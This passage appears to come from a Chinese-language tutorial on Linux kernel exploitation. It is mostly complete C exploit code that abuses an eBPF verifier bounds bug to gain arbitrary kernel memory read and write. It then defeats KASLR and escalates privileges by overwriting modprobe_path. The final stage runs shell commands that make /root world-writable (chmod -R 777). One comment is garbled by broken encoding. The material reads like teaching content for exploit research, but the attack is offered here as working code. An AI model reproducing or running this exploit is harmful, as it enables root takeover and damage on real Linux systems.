.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
/* 加载BPF程序 */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
/* 创建套接字 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
/* 利用套接字(BPF程序的发动) */
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // 要泄漏的地址
write(socks[1], payload, 0x10);
map_lookup(mapfd, 0, &val);
return val;
}
/**
* 任意地址写入
*/
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
char verifier_log[0x10000];
unsigned long val;
val = 1;
map_update(mapfd, 0, &val);
/* BPF程序 */
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// FP-0x18有效的指针(*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// 覆盖(*)中准备的堆栈上的指针(避免ALU sanitation)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
// 获取已重写(*)的指针
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),
// 可任意地址读写
BPF_MOV64_IMM(BPF_REG_1, value >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, value & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), // 写入假指针
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
/* 设置套接字 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
/* 加载BPF程序 */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
/* 创建套接字 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
/* 利用套接字(触发BPF程序) */
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // 重写地址
write(socks[1], payload, 0x10);
}
kASLR绕过和权限提升
现在,由于拥有map地址,因此可以通过创建指向bpf_map的ops等的假指针来泄露内核的基地址。此外,如果获得了基地址,则可以使用AAW重写modprobe_path等以提升权限。
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"
#define ofs_array_map_ops 0xc124a0
#define ofs_modprobe_path 0xe37fe0
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int bpf(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
int map_create(int val_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = val_size,
.max_entries = max_entries
};
int mapfd = bpf(BPF_MAP_CREATE, &attr);
if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)");
return mapfd;
}
int map_update(int mapfd, int key, void *pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};
int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
return res;
}
int map_lookup(int mapfd, int key, void *pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found
}
unsigned long leak_map_address(int mapfd) {
char verifier_log[0x10000];
unsigned long val;
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R0 --> scalar
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
write(socks[1], "Hello", 5);
map_lookup(mapfd, 0, &val);
return val - 1;
}
unsigned long aar64(int mapfd, unsigned long addr) {
char verifier_log[0x10000];
unsigned long val;
val = 1;
map_update(mapfd, 0, &val);
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr;
write(socks[1], payload, 0x10);
map_lookup(mapfd, 0, &val);
return val;
}
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
char verifier_log[0x10000];
unsigned long val;
val = 1;
map_update(mapfd, 0, &val);
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),
BPF_MOV64_IMM(BPF_REG_1, value >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, value & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // 鏇搞亶鎻涖亪銈嬨偄銉夈儸銈�
write(socks[1], payload, 0x10);
}
int main() {
int mapfd = map_create(8, 1);
unsigned long addr_map = leak_map_address(mapfd);
printf("[+] addr_map = 0x%016lx\n", addr_map);
unsigned long addr_ops = aar64(mapfd, addr_map - 0x110);
printf("[+] ops = 0x%016lx\n", addr_ops);
unsigned long kbase = addr_ops - ofs_array_map_ops;
printf("[+] kbase = 0x%016lx\n", kbase);
aaw64(mapfd,
kbase + ofs_modprobe_path,
0x0000782f706d742f); // "/tmp/x"
system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
return 0;
}